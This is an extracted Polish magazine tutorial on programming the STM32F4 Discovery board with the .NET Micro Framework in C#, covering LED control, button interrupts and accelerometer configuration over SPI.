PRZETWARZANIE GEOMETRII PRZY POMOCY TRANSFORM FEEDBACK OPENGL 4.3
» Uzupełniamy projekt aplikacji MFDiscovery o referencję do biblioteki Mi-
crosoft.SPOT.Hardware.dll.
» Dodajemy do projektu plik DiscoveryCpuPins.cs i wstawiamy w nim pole-
cenia z Listingu 1.
Listing 1. Zawartość pliku DiscoveryCpuPins.cs
using
System;
using
Microsoft.SPOT;
using
Microsoft.SPOT.Hardware;
namespace
MFDiscovery
{
public
static
class
DiscoveryCpuPins
{
public
static
Cpu
.
Pin
LD3 = (
Cpu
.
Pin
)61;
public
static
Cpu
.
Pin
LD4 = (
Cpu
.
Pin
)60;
public
static
Cpu
.
Pin
LD5 = (
Cpu
.
Pin
)62;
public
static
Cpu
.
Pin
LD6 = (
Cpu
.
Pin
)63;
public
static
Cpu
.
Pin
UserButton = (
Cpu
.
Pin
)0;
public
static
Cpu
.
Pin
Accelerometer = (
Cpu
.
Pin
)67;
}
}
» Projekt MFDiscovery uzupełniamy o plik Enums.cs, a następnie uzupełnia-
my go treścią przedstawioną na Listingu 2.
Listing 2. Definicja typu wyliczeniowego
UserLed
namespace
MFDiscovery
{
public
enum
UserLed
{
LD3,
LD4,
LD5,
LD6
}
}
» Dodajemy do projektu MFIntroduction kolejny plik Leds.cs i definiujemy w
nim klasę
Leds według wzoru z Listingu 3.
Listing 3. Definicja klasy
Leds
using
System;
using
Microsoft.SPOT;
using
Microsoft.SPOT.Hardware;
namespace
MFDiscovery
{
public
sealed
class
Leds
{
private
static
Leds
_instance =
null
;
private
static
object
_lockObject =
new
object
();
private
OutputPort
_ld3Port =
new
OutputPort
(
DiscoveryCpuPins
.LD3,
false
);
private
OutputPort
_ld4Port =
new
OutputPort
(
DiscoveryCpuPins
.LD4,
false
);
private
OutputPort
_ld5Port =
new
OutputPort
(
DiscoveryCpuPins
.LD5,
false
);
private
OutputPort
_ld6Port =
new
OutputPort
(
DiscoveryCpuPins
.LD6,
false
);
private
OutputPort
[] _ledPorts;
private
Leds()
{
// Uporządkowanie portów odpowiada ich lokalizacji na płytce
_ledPorts =
new
OutputPort
[] { _ld4Port,
_ld3Port, _ld5Port, _ld6Port };
}
public
static
Leds
Instance
{
get
{
if
(_instance ==
null
)
{
lock
(_lockObject)
{
if
(_instance ==
null
)
{
_instance =
new
Leds
();
}
}
}
return
_instance;
}
}
private
OutputPort
GetLedPort(
UserLed
userLed)
{
OutputPort
userLedPort =
null
;
switch
(userLed)
{
case
UserLed
.LD3:
userLedPort = _ld3Port;
break
;
case
UserLed
.LD4:
userLedPort = _ld4Port;
break
;
case
UserLed
.LD5:
userLedPort = _ld5Port;
break
;
case
UserLed
.LD6:
userLedPort = _ld6Port;
break
;
}
return
userLedPort;
}
private
void
ChangeSingleLedStatus(
UserLed
userLed,
bool
status)
{
OutputPort
ledPort = GetLedPort(userLed);
if
(ledPort !=
null
)
{
ledPort.Write(status);
}
}
public
void
TurnOn(
UserLed
userLed)
{
ChangeSingleLedStatus(userLed,
true
);
}
public
void
TurnOff(
UserLed
userLed)
{
ChangeSingleLedStatus(userLed,
false
);
}
public
void
Toggle(
UserLed
userLed)
{
OutputPort
ledPort = GetLedPort(userLed);
if
(ledPort !=
null
)
{
bool
isOn = ledPort.Read();
ledPort.Write(!isOn);
}
}
private
void
ChangeStatusOfAllLeds(
bool
status)
{
foreach
(
OutputPort
port
in
_ledPorts)
{
port.Write(status);
}
}
public
void
TurnOffAll()
{
ChangeStatusOfAllLeds(
false
);
}
public
void
TurnOnAll()
{
ChangeStatusOfAllLeds(
true
);
}
public
void
ToggleAll()
{
foreach
(
OutputPort
ledPort
in
_ledPorts)
{
bool
isOn = ledPort.Read();
ledPort.Write(!isOn);
}
}
}
}
52
/ 6
. 2014 . (25) /
PROGRAMOWANIE SYSTEMÓW OSADZONYCH
» Projekt aplikacji MFIntroduction uzupełniamy o plik Discovery.cs, w którym
umieszczamy definicję klasy
Discovery (Listing 4).
Listing 4. Zawartość pliku Discovery.cs
using
System;
using
Microsoft.SPOT;
using
Microsoft.SPOT.Hardware;
namespace
MFDiscovery
{
public
sealed
class
Discovery
{
private
static
Discovery
_instance =
null
;
private
static
object
_lockObject =
new
object
();
private
Leds
_leds =
null
;
private
Discovery()
{
_leds =
Leds
.Instance;
}
public
static
Discovery
Instance
{
get
{
if
(_instance ==
null
)
{
lock
(_lockObject)
{
if
(_instance ==
null
)
{
_instance =
new
Discovery
();
}
}
}
return
_instance;
}
}
public
Leds
Leds
{
get
{
return
_leds; }
}
}
}
» Przechodzimy do edycji pliku Program.cs i modyfikujemy jego zawartość
według wzoru z Listingu 5.
Listing 5. Zawartość pliku Program.cs
using
System;
using
Microsoft.SPOT;
using
System.Threading;
namespace
MFDiscovery
{
public
class
Program
{
private
static
Discovery
_discovery =
Discovery
.Instance;
public
static
void
Main()
{
const
int
msSleepTime = 500;
while
(
true
)
{
_discovery.Leds.Toggle(
UserLed
.LD3);
Thread
.Sleep(msSleepTime);
}
}
}
}
Po skompilowaniu i uruchomieniu projektu MFDiscovery (opcja Debug/Start
debugging) odpowiednie pliki binarne aplikacji oraz jej zależności zostaną au-
tomatycznie wgrane do nieulotnej pamięci mikrokontrolera, po czym nastąpi
jego zrestartowanie. Od tej pory mikrokontroler będzie realizował nieskoń-
czoną pętlę (Listing 5), w ramach której będzie on naprzemiennie włączał i
wyłączał diodę LD3 o kolorze pomarańczowym.
Kod źródłowy aplikacji nietrudno zmodyfikować, aby mikrokontroler modyfi-
kował stan wszystkich diod jednocześnie. W tym celu wywołanie metody
Leds.
Toggle (Listing 5) wystarczy zastąpić wywołaniem metody Leds.ToggleAll.
Sterowanie diodami z poziomu mikrokontrolera zrealizowaliśmy w oparciu
o klasę
OutputPort, która służy do kontroli stanu portu wyjścia ogólnego przezna-
czenia (GPIO, od ang. General Purpose Input/Output). Konstruktor tej klasy przyjmuje
dwa argumenty. Pierwszy to identyfikator portu mikrokontrolera. Natomiast drugi
pozwala zdefiniować początkowy binarny stan portu (aktywny/nieaktywny).
W klasie
Leds
(Listing 3) zdefiniowaliśmy cztery zmienne typu
OutputPort.
Odpowiadają one poszczególnym portom mikrokontrolera, do których
podłączone są diody. Identyfikatory tych portów, które zebraliśmy w klasie
DiscoveryCpuPins, odczytaliśmy z dokumentacji wykorzystywanego zesta-
wu uruchomieniowego. Mianowicie, z dokumentu UM1472: Discovery kit for
STM32F407/417 lines (
http://www.st.com/st-web-ui/static/active/en/resource/
technical/document/user_manual/DM00039084.pdf
).
Aktualny stan wybranego portu GPIO można odczytać za pomocą metody
Read
klasy
OutputPort. Z kolei nową wartość ustawia się z użyciem metody Write.
Definicja klasy
Leds
zawiera jeszcze dodatkowe metody, które wykorzy-
stamy w kolejnych przykładach.
Klasy
Leds
oraz
Discovery
zostały zaimplementowane zgodnie ze wzorcem
projektowym o nazwie singleton. Wynika to z faktu, że klasy te stanowią abstrak-
cyjną reprezentację elementów elektronicznych, których liczba jest ściśle określona.
Mianowicie firmware jest uruchomiony na jednej płytce wyposażonej w skończoną
liczbę diod. Nie możemy programowo utworzyć nowych portów GPIO, ani płytki.
W przypadku klas
Leds
oraz
Discovery
statyczna metoda
Instance
jest
bezpieczna w sensie wielowątkowości. Ponadto, instancjonuje ona obiekty
dopiero w momencie uzyskiwania do nich dostępu.
Ze względu na użyte słowo kluczowe
sealed
w deklaracjach klas
Leds
i
Discovery
nie mogą one być klasami bazowymi. Jest to konieczne w celu
zablokowania możliwości definiowania publicznych konstruktorów w ewen-
tualnych klasach pochodnych.
OBSŁUGA PRZERWAŃ
W tej części artykułu uzupełnimy projekt aplikacji MFDiscovery o procedury
umożliwiające obsługę przerwań generowanych na skutek wciśnięcia niebie-
skiego przycisku User. Zadaniem metody obsługującej to zdarzenie będzie
cykliczne przełączenie trybu pracy mikrokontrolera. W ramach tych trybów
zaimplementujemy zmianę stanu diody LD3 oraz wszystkich diod jednocze-
śnie, a także cykliczną i losową zmianę stanu diod. Implementacja tego zada-
nia składa się z następujących etapów:
» W pliku Enums.cs zdefiniujmy typ wyliczeniowy (Listing 6).
Listing 6. Definicja typu wyliczeniowego
WorkingMode
public
enum
WorkingMode
{
ToggleLed = 0,
ToggleAllLeds,
LedSweeping,
ToggleLedRandomly,
None
}
» W klasie Discovery wstawiamy polecenia wyróżnione na Listingu 7.
Listing 7. Tworzenie portu przerwaniowego związanego z przyci-
skiem User.
public
sealed
class
Discovery
{
private
static
Discovery
_instance =
null
;
private
static
object
_lockObject =
new
object
();
private
Leds
_leds =
null
;
private
InterruptPort
_userButton =
null
;
private
Discovery()
{
_leds =
Leds
.Instance;
_userButton =
new
InterruptPort
(
DiscoveryCpuPins
.UserButton,
true
,
Port
.
ResistorMode
.PullDown,
Port
.
InterruptMode
.InterruptEdgeHigh);
}
53
/ www.programistamag.pl /
PRZETWARZANIE GEOMETRII PRZY POMOCY TRANSFORM FEEDBACK OPENGL 4.3
public
static
Discovery
Instance
{
get
{
if
(_instance ==
null
)
{
lock
(_lockObject)
{
if
(_instance ==
null
)
{
_instance =
new
Discovery
();
}
}
}
return
_instance;
}
}
public
Leds
Leds
{
get
{
return
_leds; }
}
public
InterruptPort
UserButton
{
get
{
return
_userButton; }
}
}
» Definicję klasy Leds
uzupełnijmy o dwie metody z Listingu 8.
Listing 8. Cykliczne i losowe przełączanie stanu diod
public
void
Sweep()
{
const
int
msSleepTime = 100;
foreach
(
OutputPort
port
in
_ledPorts)
{
bool
isOn = port.Read();
port.Write(!isOn);
System.Threading.
Thread
.Sleep(msSleepTime);
}
}
public
void
ToggleRandomly()
{
Random
r =
new
Random
();
UserLed
ledToToggle = (
UserLed
)r.Next((
int
)
UserLed
.LD6 + 1);
Toggle(ledToToggle);
}
» Zawartość pliku Program.cs zmodyfikujmy według wzoru z Listingu 9.
Listing 9. Cykliczna zmiana stanu pracy mikrokontrolera w osob-
nym wątku
public
class
Program
{
private
static
Discovery
_discovery =
Discovery
.Instance;
private
static
WorkingMode
_currentWorkingMode
=
WorkingMode
.None;
private
static
ManualResetEvent
_taskCompletedEvent
=
new
ManualResetEvent
(
false
);
private
static
bool
_workingModeChanging =
false
;
public
static
void
Main()
{
const
int
msSleepTime = 500;
while
(
true
)
{
_discovery.Leds.Toggle(
UserLed
.LD3);
Thread
.Sleep(msSleepTime);
}
_discovery.UserButton.OnInterrupt += UserButton_OnInterrupt;
Thread
workingModeThread =
new
Thread
(WorkingModeThreadFunction);
workingModeThread.Start();
}
private
static
void
UserButton_OnInterrupt(
uint
data1,
uint
data2,
DateTime
time)
{
ChangeWorkingMode();
}
private
static
void
ChangeWorkingMode()
{
_workingModeChanging =
true
;
_taskCompletedEvent.WaitOne();
_discovery.Leds.TurnOffAll();
if
(++_currentWorkingMode >
WorkingMode
.None)
_currentWorkingMode =
WorkingMode
.ToggleLed;
_workingModeChanging =
false
;
}
private
static
void
WorkingModeThreadFunction()
{
const
int
msDefaultSleepTime = 500;
const
int
msSmallerSleepTime = 100;
while
(
true
)
{
if
(!_workingModeChanging)
{
_taskCompletedEvent.Reset();
switch
(_currentWorkingMode)
{
case
WorkingMode
.ToggleLed:
_discovery.Leds.Toggle(
UserLed
.LD3);
Thread
.Sleep(msDefaultSleepTime);
break
;
case
WorkingMode
.ToggleAllLeds:
_discovery.Leds.ToggleAll();
Thread
.Sleep(msDefaultSleepTime);
break
;
case
WorkingMode
.LedSweeping:
_discovery.Leds.Sweep();
Thread
.Sleep(msDefaultSleepTime);
break
;
case
WorkingMode
.ToggleLedRandomly:
_discovery.Leds.ToggleRandomly();
Thread
.Sleep(msSmallerSleepTime);
break
;
case
WorkingMode
.None:
default
:
Thread
.Sleep(msDefaultSleepTime);
break
;
}
_taskCompletedEvent.Set();
}
}
}
}
W powyższym przykładzie wszystkie dostępne tryby pracy mikrokontrolera są
określone odpowiednimi wartościami typu wyliczeniowego
WorkingMode.
Po skompilowaniu i uruchomieniu aplikacji MFDiscovery nastąpi wgranie
nowej wersji firmware do mikrokontrolera. Tym razem po jego zrestartowaniu
wszystkie diody będą wyłączone, ponieważ aktualnym trybem pracy jest tryb
WorkingMode.None (pole _currentWorkingMode). Po wciśnięciu przycisku
User nastąpi inkrementacja wartości zapisanej w polu
_currentWorking-
Mode, co powoduje zmianę funkcji realizowanej przez mikrokontroler. Po ko-
lei będą to tryby: przełączanie stanu diody LD3, przełączanie stanu wszystkich
diod jednocześnie, cykliczna zmiana stanu diod oraz losowa zmiana ich stanu.
Przerwania generowane po wciśnięciu przycisku User obsłużyliśmy za
pomocą klasy
InterruptPort. Konstruktor tej klasy przyjmuje cztery argu-
menty. Pierwszym z nich jest znany już identyfikator portu. Drugi argument
glitchFilter pozwala ustawić filtr zakłóceń dla wybranego portu. Jeśli filtr
ten zostanie wyłączony, zakłócenia występujące na danym porcie mogą być
zinterpretowane jako faktyczne przerwania. W przypadku przycisku skutkowa-
łoby to wielokrotnym zgłaszaniem przerwania, reprezentującego jego wciśnię-
cie i co za tym idzie wielokrotnym wywołaniu metody
ChangeWorkingMode.
Spowodowałoby to oczywiście błędne przełączanie pomiędzy trybami pracy
mikrokontrolera. Trzeci argument konstruktora klasy
InterruptPort
o nazwie
resistor
służy do konfiguracji trybu rezystora typu pull-up dla danego portu.
Ostatnim argumentem konstruktora jest parametr
interrupt
umożliwiający
zdefiniowanie stanu zbocza lub poziomu sygnału generującego przerwanie.
Po skonfigurowaniu portu przerwaniowego dla przycisku User uzyskujemy
możliwość jego programowej obsługi. W tym celu wystarczy skojarzyć wybraną
metodę ze zdarzeniem
InterruptPort.OnInterrupt. W powyższym przy-
kładzie w ramach metody zdarzeniowej wywołujemy procedurę
ChangeWork-
ingMode, zmieniającą tryb pracy mikrokontrolera.
54
/ 6
. 2014 . (25) /
PROGRAMOWANIE SYSTEMÓW OSADZONYCH
W ramach podsumowania tego podrozdziału zwracamy uwagę, że zaimple-
mentowany tu firmware działa wielowątkowo. Procedury odpowiedzialne za
poszczególne tryby pracy wywoływane są z funkcji wątku roboczego. Natomiast
obsługa zdarzenia kliknięcia przycisku User znajduje się w wątku głównym.
AKCELEROMETR
Płytka STM32F4 Discovery jest wyposażona w mikromechaniczny akcele-
rometr cyfrowy. W zależności od jej wersji jest to układ o identyfikatorze
LIS302DL w przypadku wersji A i B lub LIS3DSH w przypadku wersji C. Symbol
wersji zestawu uruchomieniowego jest nadrukowany na powierzchni płytki w
postaci ciągu MB997w, gdzie ostatnia litera w symbolizuje wersję i może mieć
jedną z wartości: A, B lub C (zob. Rysunek 1).
W tym artykule korzystamy z wersji C płytki STM i co za tym idzie akcelero-
metru LIS3DSH. Jednakże procedury jego programowania są analogiczne jak
w przypadku LIS302DL.
Przed uzupełnieniem projektu MFDiscovery o konkretne metody pobiera-
jące wartości przyspieszenia z akcelerometru omówimy zasadę jego działa-
nia, tryby pracy oraz mechanizm jego konfiguracji.
ZASADA DZIAŁANIA
Akcelerometr do pomiaru przyspieszenia wykorzystuje podstawowe zasady
mechaniki. Mianowicie, w najprostszym ujęciu akcelerometrem może być ele-
ment o znanej masie zawieszony na sprężynie przymocowanej do obudowy
układu. W fizyce ruch elementu zawieszonego na sprężynie dla dostatecznie
małej wartości tłumienia opisywany jest równaniem oscylatora harmoniczne-
go, które pozwala wyznaczyć przyspieszenie na podstawie zmiany położenia
elementu o znanej masie (dokładniej masy bezwładnej). Zmiana tego położe-
nia odpowiada wydłużeniu lub skróceniu sprężyny.
Dla ustalonej pozycji akcelerometru oraz danych parametrów sprężyny
i tłumienia element zawieszony na sprężynie pozostaje w spoczynku, gdyż
siła wywierana przez sprężynę na ten element jest równa co do wartości wy-
wieranej na niego sile grawitacji. Innymi słowy można powiedzieć, że w tym
przypadku akcelerometr dokonuje pomiaru przyspieszenia ziemskiego. W
związku z tym akcelerometry mierzą przyspieszenie w jednostkach tego przy-
spieszenia, tzn. g = 9,81 m/s
2
.
Zmiana położenia akcelerometru na skutek zewnętrznych sił powoduje
zaburzenie stanu równowagi i w efekcie bezwładne przesunięcie elementu
zawieszonego na sprężynie. Zakres tego przesunięcia jest wprost proporcjo-
nalny do zmiany położenia akcelerometru.
Nowoczesne akcelerometry, które są powszechnie spotykane w wielu
urządzeniach elektronicznych, takich jak telefony komórkowe, tablety, apa-
raty ze stabilizacją obrazu, układy sterowania poduszkami powietrznymi,
charakteryzują się niewielkimi rozmiarami. Z tego powodu wytwarza się je
w krzemie technologią mikromechaniczną. Jednakże, w dalszym ciągu pod-
stawą ich konstrukcji jest element o znanej masie zawieszony na elemencie
sprężystym. Omówienie technologii mikromechanicznej wykraczałoby poza
ramy tego artykułu.
Tryby pracy, komunikacja i konfiguracja
akcelerometru
Układ LIS3DSH jest akcelerometrem małej mocy, który umożliwia mierzenie
przyspieszenia w trzech osiach w jednym z zakresów: ±2g, ±4g, ±6g, ±8g,
±16g z częstotliwością pomiaru z przedziału od 3.125 Hz do 1.6 kHz.
Akcelerometr LIS3DH pracuje w dwóch trybach: wyłączenia (power-down)
oraz normalnym. Bezpośrednio po podłączeniu płytki do zasilania akcelero-
metr przez około 10ms wykonuje rozruch, w trakcie którego pobiera z we-
wnętrznej pamięci nieulotnej parametry niezbędne do jego pracy. Po zakoń-
czeniu rozruchu przechodzi do trybu wyłączenia w celu oszczędzania energii.
Z tego powodu w celu wykonania pomiaru przyspieszenia konieczne jest
przełączenie akcelerometru w stan normalny.
Realizuje się to za pomocą aktualizacji wartości w odpowiednich rejestrach
akcelerometru. Do tego celu konieczne jest jednak wcześniejsze nawiązanie
z nim komunikacji, która jest możliwa również w trybie wyłączenia. Układ
LIS3DH udostępnia dwa rodzaje interfejsów komunikacyjnych. Są nimi: sze-
regowy interfejs urządzeń peryferyjnych (ang. Serial Peripheral Interface /SPI/)
oraz magistrala I2C (ang. Inter-Integrated Circuit).
Mikrokontoler płytki STM32F4 Discovery do kontroli akcelerometru wy-
korzystuje interfejs SPI, który przewiduje, że urządzenia komunikują się za
pomocą trzech linii: danych wejściowych oraz wyjściowych (dla danego urzą-
dzenia peryferyjnego) oraz zegara taktującego.
W bibliotece .NET Micro Framework obsługa interfejsu SPI została zaim-
plementowana w klasie SPI z przestrzeni nazw, a przykład jej wykorzystania
do komunikacji z akcelerometrem przedstawimy w ramach implementacji
klasy. W tym celu uzupełnijmy projekt aplikacji MFDiscovery o dodatkowy plik
Accelerometer.cs i umieśćmy w nim polecenia z Listingu 10.
Listing 10. Implementacja komunikacji z akcelerometrem za pomo-
cą interfejsu SPI
using
System;
using
Microsoft.SPOT;
using
Microsoft.SPOT.Hardware;
namespace
MFDiscovery
{
public
sealed
class
Accelerometer
{
private
static
Accelerometer
_instance =
null
;
private
static
object
_lockObject =
new
object
();
private
SPI
_accelerometerPort;
private
Accelerometer()
{
SPI
.
Configuration
SpiConfiguration =
new
SPI
.
Configuration
(
DiscoveryCpuPins
.Accelerometer,
false
, 0, 0,
true
,
true
, 100,
SPI
.
SPI_module
.SPI1);
_accelerometerPort =
new
SPI
(SpiConfiguration);
}
public
static
Accelerometer
Instance
{
get
{
if
(_instance ==
null
)
{
lock
(_lockObject)
{
if
(_instance ==
null
)
{
_instance =
new
Accelerometer
();
}
}
}
return
_instance;
}
}
private
void
WriteToRegister(
byte
address,
byte
value)
{
byte
[] buffer = { address, value };
_accelerometerPort.Write(buffer);
}
private
byte
ReadFromRegister(
byte
address)
{
const
byte
readWriteCmd = 0x80;
byte
[] buffer = { (
byte
)(address | readWriteCmd) };
byte
[] value = { 0, 0 };
_accelerometerPort.WriteRead(buffer, value);
return
value[1];
}
}
}
Kilka aspektów wykorzystanych w poleceniach z Listingu 10 wymaga dodat-
kowego komentarza. Przede wszystkim konfigurację magistrali SPI zrealizo-
waliśmy za pomocą klasy z przestrzeni nazw. Jej konstruktor przyjmuje osiem
argumentów. Pozwalają one zdefiniować następujące parametry:
55
/ www.programistamag.pl /
PRZETWARZANIE GEOMETRII PRZY POMOCY TRANSFORM FEEDBACK OPENGL 4.3
» Port GPIO mikrokontrolera, do którego podłączony jest akcelerometr
–
ChipSelect_Port.
» Stan portu podczas komunikacji z mikrokontrolerem
–
ChipSelect_ActivePort.
» Czas (w mikrosekundach) konfiguracji wybranego portu GPIO mikrokon-
trolera –
ChipSelect_SetupTime.
» Czas martwy (w mikrosekundach) wybranego portu GPIO mikrokontrole-
ra –
ChipSelect_HoldTime. Parametr ten określa czas, przez który port
pozostanie w stanie aktywnym po zakończeniu operacji odczytu/zapisu z/
do urządzenia peryferyjnego SPI.
» Rodzaj stanu bezczynności – Clock_IdleState. W przypadku, gdy war-
tość tego parametru to
true, zegar próbkujący będzie w stanie aktywnym
(wysokim) podczas braku aktywności (komunikacji) ze strony urządzenia
peryferyjnego. W przeciwnym wypadku zegar będzie w stanie niskim (low).
» Rodzaj zbocza zegara próbkującego – Clock_Edge. Parametr ten pozwa-
la określić rodzaj zbocza sygnału, na którym będą próbkowane dane prze-
syłanych komunikatów. Wartość
true
oznacza, że dane są próbkowane
na zboczu rosnącym, a
false, że na zboczu opadającym.
» Częstotliwość zegara taktującego (w kilohercach) – Clock_RateKHz.
» Magistrala SPI wykorzystywana do komunikacji – SPI_mod.
Kolejne istotne elementy klasy
Accelerometer
to metody
WriteToReg-
ister
oraz
ReadFromRegister. Służą one do zapisywania i odczytywania
danych ze wskazanych rejestrów. Do tego celu wykorzystują metody
Write
i
WriteRead. Pierwsza umożliwia wysłanie tablicy danych do wybranego
urządzenia peryferyjnego za pomocą danej magistrali SPI. Natomiast druga
wysyła zapytanie i zwraca otrzymaną odpowiedź.
W przypadku komunikacji z akcelerometrem wysyłamy do niego tablice dwu-
bajtową, w której bardziej znaczący bajt zawiera adres rejestru, a mniej znaczący
wartość, która ma być w nim zapisana. Natomiast w przypadku odczytu wartości
ze wskazanego rejestru jego adres jest łączony ze stałą 0x80 za pomocą operatora
bitowej alternatywy. Umożliwia to poinformowanie akcelerometru, że dana ko-
menda jest żądaniem odczytu wartości spod wskazanego adresu.
Jak już wspomnieliśmy, w celu przełączenia akcelerometru w normalny tryb
pracy konieczne jest zapisanie odpowiedniej wartości w danym rejestrze. Zgodnie
z dokumentacją akcelerometru (
http://www.st.com/web/en/resource/technical/
document/datasheet/DM00040962.pdf
) jest to rejestr o nazwie
CTRL_REG4, a jego
adres to 0x20.
Ten rejestr kontrolny przechowuje jeden bajt, w którym cztery najbardziej zna-
czące bity (bity b7 – b4) służą do ustalenia częstotliwości pomiarów przyspieszenia
(ang. Output Data Rate /ODR/). Kolejny bit (b3), BDU (od ang. Block Data Update),
pozwala zdefiniować tryb aktualizacji wartości w rejestrach wyjściowych, przecho-
wujących wyniki pomiarów dla poszczególnych osi. Wartość 1 bitu b3 oznacza
ciągłą aktualizację rejestrów, a 0 blokującą aktualizację rejestrów wyjściowych, w
którym odczyt jest blokowany do momentu aktualizacji obu rejestrów związanych
z daną osią. Ta druga ma duże znaczenie w przypadku wykonywania częstych
odczytów rejestrów wyjściowych. Wynika to z faktu, że w akcelerometrze LIS3DH
wyniki pomiarów przyspieszeń reprezentowane są w postaci liczb dwubajtowych.
Blokująca aktualizacja rejestrów wyjściowych zapewnia, że poprawnie odczytywa-
ne są oba bajty. Innymi słowy – oba z nich dotyczą tego samego pomiaru.
Trzy najmniej znaczące bity (b2-b0) bajtu zapisanego w rejestrze kontrolnym
o numerze 4 (
CTRL_REG4) służą do wskazania osi, wzdłuż których będą reali-
zowane pomiary przyspieszenia. Bit b2 odpowiada osi Z, bit b1 osi Y, a b0 osi X.
Uzupełnimy teraz kod źródłowy aplikacji MFDiscovery o procedury umoż-
liwiające skonfigurowanie akcelerometru. W tym celu:
» Dodajemy do projektu nowy plik AccelerometerRegisterAddresses.cs i uzu-
pełniamy go według wzoru z Listingu 11.
Listing 11. Adresy rejestrów akcelerometru wykorzystywane w artykule
using
System;
using
Microsoft.SPOT;
namespace
MFDiscovery
{
public
static
class
AccelerometerRegisterAddresses
{
public
static
byte
WhoAmI = 0x0F;
public
static
byte
Control4 = 0x20;
public
static
byte
Control5 = 0x24;
public
static
byte
LsbX = 0x28;
public
static
byte
MsbX = 0x29;
public
static
byte
LsbY = 0x2A;
public
static
byte
MsbY = 0x2B;
public
static
byte
LsbZ = 0x2C;
public
static
byte
MsbZ = 0x2D;
}
}
» W pliku Enums.cs wstawmy polecenia z Listingu 12.
Listing 12. Definicja typów wyliczeniowych określających częstotli-
wość pomiarów przyspieszenia (
OutputDataRate) oraz osi akcelero-
metru (
Axis)
public
enum
OutputDataRate
:
byte
{
PowerOff = 0,
Freq_3_125_Hz,
Freq_6_25_Hz,
Freq_12_5_Hz,
Freq_25_Hz,
Freq_50_Hz,
Freq_100_Hz,
Freq_400_Hz,
Freq_800_Hz,
Freq_1600_Hz
}
public
enum
Axis
:
byte
{
X = 0,
Y,
Z
}
» Klasę uzupełnimy o metody z Listingu 13.
Listing 13. Konfiguracja częstości pomiaru przyspieszenia wzdłuż
wybranych osi. Dodatkowa metoda
BoolToByte służy do konwersji
wartości logicznej typu
bool na wartość typu byte
public
void
ConfigureOutputData(
OutputDataRate
outputDataRate,
bool
blockDataUpdate,
bool
xAxisEnabled,
bool
yAxisEnabled,
bool
zAxisEnabled)
{
byte
configurationByte = (
byte
)((
byte
)outputDataRate << 4);
configurationByte = (
byte
)(configurationByte
| BoolToByte(blockDataUpdate) << 3
| BoolToByte(zAxisEnabled) << 2
| BoolToByte(yAxisEnabled) << 1
| BoolToByte(xAxisEnabled));
WriteToRegister(
AccelerometerRegisterAddresses
.Control4,
configurationByte);
}
private
byte
BoolToByte(
bool
value)
{
return
(
byte
)(value ==
true
? 1 : 0);
}
W zupełnie analogiczny sposób konfiguruje się zakres pracy akcelerometru.
Na potrzeby implementacji tej funkcjonalności uzupełnijmy najpierw plik
Enums.cs o definicję typu wyliczeniowego
Scale
(Listing 14), a następnie w
klasie
Accelerometer
zdefiniujmy metodę
ConfigureScale
(Listing 15).
Listing 14. Definicja typu wyliczeniowego
Scale, reprezentującego
zakresy pomiaru przyspieszenia
public
enum
Scale
:
byte
{
g2 = 0,
g4,
g6,
g8,
g16
}
56
/ 6
. 2014 . (25) /
PROGRAMOWANIE SYSTEMÓW OSADZONYCH
Listing 15. Konfiguracja zakresu pomiaru przyspieszenia
public
void
ConfigureScale(
Scale
scale)
{
byte
newValue = (
byte
)((
byte
)scale << 3);
WriteToRegister(
AccelerometerRegisterAddresses
.Control5, newValue);
}
W celu konfiguracji zakresu pomiaru przyspieszenia wykorzystaliśmy rejestr
kontrolny o numerze 5 (
CTRL_REG5). Bity b5-b3 bajtu przechowywanego w
tym rejestrze reprezentują wybrany zakres pomiaru przyspieszenia, określo-
ny wartościami typu wyliczeniowego
Scale. Mianowicie, wartość Scale.g2
odpowiada zakresowi ±2g, wartość
Scale.g4 zakresowi ±4g itd.
W ramach podsumowania tego podrozdziału zaimplementujemy jeszcze
metodę ustawiającą domyślne parametry pracy akcelerometru (częstotliwość
odczytu 100 kHz, wyłączony tryb BDU, odczyt ze wszystkich osi oraz zakres
±2g), a także procedurę weryfikującą poprawność wartości odczytanej z reje-
stru akcelerometru. Obie z nich przedstawia Listing 16.
W dalszej części artykułu odczytanie wartości zapisanej w rejestrze
WHO_AM_I pozwoli nam sprawdzić, czy komunikacja z akcelerometrem zo-
stała nawiązana prawidłowo. Jeśli wartość odczytana z tego rejestru będzie
różna od 0x3F, to będzie to oznaczało brak komunikacji z akcelerometrem.
Listing 16. Domyślna konfiguracja akcelerometru oraz odczyt war-
tości z rejestru WHO_AM_I
public
void
DefaultConfiguration()
{
ConfigureOutputData(
OutputDataRate
.Freq_100_Hz,
false
,
true
,
true
,
true
);
ConfigureScale(
Scale
.g2);
}
public
bool
WhoAmI()
{
bool
isCommandCorrect =
false
;
const
byte
expectedAnswer = 0x3F;
byte
answer = ReadFromRegister(
AccelerometerRegisterAddresses
.WhoAmI);
if
(answer == expectedAnswer)
{
isCommandCorrect =
true
;
}
return
isCommandCorrect;
}
Detekcja i sygnalizowanie położenia
W tym podrozdziale na podstawie wartości przyspieszenia wzdłuż osi X oraz
Y odczytanych z akcelerometru zasygnalizujemy zwrot płytki za pomocą diod
LD3-LD6. Jednak zanim przejdziemy do implementacji tego zadania, omówi-
my sposób reprezentacji wartości przyspieszenia w rejestrach akcelerometru.
Akcelerometr LIS3DSH zwraca wyniki pomiarów przyspieszenia wzdłuż
osi poszczególnych osi w jednostkach mg w postaci dwubajtowych liczb
całkowitych. W konsekwencji wartości pomiaru mogą przyjmować wartości
z przedziału od -32767 do 32768. Jednakże dokładność pomiaru (rozdziel-
czość) oraz konkretne wartości przyspieszenia zależeć będą od ustalonego
wcześniej zakresu pomiaru w jednostkach g. W naszym przykładzie domyśl-
na konfiguracja akcelerometru przewiduje pomiary w zakresie ±2g. W takim
przypadku wartości -2g odpowiadać będzie liczba -32767, a +2g liczba 32768.
Wynika stąd, że zwiększenie zakresu pomiaru do ±4g spowoduje dwukrotne
pogorszenie jego rozdzielczości, ponieważ rozdzielczość jest tu nierozerwal-
nie związana z zakresem pomiaru.
W tym konkretnym przykładzie zakładamy, że zmiana mierzonego przy-
spieszenia będzie związana ze stosunkowo wolną zmianą położenia płytki
STM32F4 Discovery w przestrzeni i w związku z tym zakres mierzonych przy-
spieszeń nie przekroczy wartości z przedziału ±1g, co w przybliżeniu odpo-
wiadać będzie liczbom całkowitym z zakresu od -16384 do 16384. Piszemy „w
przybliżeniu”, ponieważ odczyty przyspieszenia obarczone są błędem pomia-
ru oraz mogą zależeć od szerokości geograficznej, która wpływa na wartości
przyspieszenia ziemskiego g.
Akcelerometr przechowuje wyniki pomiarów wzdłuż jego poszczegól-
nych osi w rejestrach o następujących adresach:
